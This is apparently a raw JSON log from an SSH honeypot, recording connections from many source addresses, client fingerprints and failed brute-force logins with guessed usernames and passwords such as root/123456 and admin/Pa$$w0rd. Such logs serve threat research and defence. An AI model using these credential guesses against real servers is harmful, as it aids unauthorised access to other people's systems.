{"eventid":"cowrie.login.failed","username":"root/1234567","password":"123456","message":"login attempt [root/1234567/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:55.142966Z","src_ip":"196.188.93.169","session":"9f7aeab0cb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:56.312241Z","src_ip":"196.188.93.169","session":"9f7aeab0cb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37058,"dst_ip":"10.17.0.5","dst_port":22,"session":"81c5c26a9da0","protocol":"ssh","message":"New connection: 103.27.238.114:37058 (10.17.0.5:22) [session: 81c5c26a9da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:58.333617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:58.338299Z","src_ip":"103.27.238.114","session":"81c5c26a9da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:58.596528Z","src_ip":"103.27.238.114","session":"81c5c26a9da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gratis","message":"login attempt [root/gratis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:32:59.371587Z","src_ip":"103.27.238.114","session":"81c5c26a9da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:00.693242Z","src_ip":"103.27.238.114","session":"81c5c26a9da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":17486,"dst_ip":"10.17.0.5","dst_port":22,"session":"949ad21ae7ce","protocol":"ssh","message":"New connection: 36.92.41.115:17486 (10.17.0.5:22) [session: 949ad21ae7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:02.735995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:02.740978Z","src_ip":"36.92.41.115","session":"949ad21ae7ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:03.002500Z","src_ip":"36.92.41.115","session":"949ad21ae7ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intel","password":"intel123","message":"login attempt [intel/intel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:04.095654Z","src_ip":"36.92.41.115","session":"949ad21ae7ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:05.360550Z","src_ip":"36.92.41.115","session":"949ad21ae7ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":19234,"dst_ip":"10.17.0.5","dst_port":22,"session":"933cbfda66b7","protocol":"ssh","message":"New connection: 177.85.247.230:19234 (10.17.0.5:22) [session: 933cbfda66b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:21.847284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:21.852281Z","src_ip":"177.85.247.230","session":"933cbfda66b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:21.956075Z","src_ip":"177.85.247.230","session":"933cbfda66b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"12345678","message":"login attempt [Admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:22.399992Z","src_ip":"177.85.247.230","session":"933cbfda66b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:23.505031Z","src_ip":"177.85.247.230","session":"933cbfda66b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"084e47195afb","protocol":"ssh","message":"New connection: 27.71.230.31:51468 (159.203.135.109:22) [session: 084e47195afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:49.443974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:49.883573Z","src_ip":"27.71.230.31","session":"084e47195afb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:49.887424Z","src_ip":"27.71.230.31","session":"084e47195afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":58730,"dst_ip":"10.17.0.5","dst_port":22,"session":"4667f2c7c723","protocol":"ssh","message":"New connection: 181.188.176.242:58730 (10.17.0.5:22) [session: 4667f2c7c723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:51.393824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:51.397887Z","src_ip":"181.188.176.242","session":"4667f2c7c723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:51.563838Z","src_ip":"181.188.176.242","session":"4667f2c7c723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4$$w0rd","message":"login attempt [root/P4$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:52.262148Z","src_ip":"181.188.176.242","session":"4667f2c7c723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:53.433242Z","src_ip":"181.188.176.242","session":"4667f2c7c723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password_123456","message":"login attempt [root/Password_123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:57.472982Z","src_ip":"27.71.230.31","session":"084e47195afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:33:58.706722Z","src_ip":"27.71.230.31","session":"084e47195afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.17","src_port":55478,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf3fd97edf9a","protocol":"ssh","message":"New connection: 101.96.195.17:55478 (10.17.0.5:22) [session: cf3fd97edf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:12.812379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:12.817260Z","src_ip":"101.96.195.17","session":"cf3fd97edf9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:13.041837Z","src_ip":"101.96.195.17","session":"cf3fd97edf9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:13.970484Z","src_ip":"101.96.195.17","session":"cf3fd97edf9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:15.197365Z","src_ip":"101.96.195.17","session":"cf3fd97edf9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":55072,"dst_ip":"159.203.135.109","dst_port":22,"session":"20772b820102","protocol":"ssh","message":"New connection: 152.32.214.226:55072 (159.203.135.109:22) [session: 20772b820102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:36.911584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:36.916120Z","src_ip":"152.32.214.226","session":"20772b820102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:37.129072Z","src_ip":"152.32.214.226","session":"20772b820102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqQQ123123","message":"login attempt [root/qqQQ123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:38.017178Z","src_ip":"152.32.214.226","session":"20772b820102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:34:39.241699Z","src_ip":"152.32.214.226","session":"20772b820102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5841,"dst_ip":"10.17.0.5","dst_port":22,"session":"656b5485f066","protocol":"ssh","message":"New connection: 196.188.93.169:5841 (10.17.0.5:22) [session: 656b5485f066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:06.789893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:06.803881Z","src_ip":"196.188.93.169","session":"656b5485f066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:06.977065Z","src_ip":"196.188.93.169","session":"656b5485f066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bismillah123","message":"login attempt [root/bismillah123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:07.703940Z","src_ip":"196.188.93.169","session":"656b5485f066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:08.874987Z","src_ip":"196.188.93.169","session":"656b5485f066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":15042,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1bb7bc713f4","protocol":"ssh","message":"New connection: 36.92.41.115:15042 (10.17.0.5:22) [session: c1bb7bc713f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:15.026657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:15.033743Z","src_ip":"36.92.41.115","session":"c1bb7bc713f4","protocol":"ssh"}
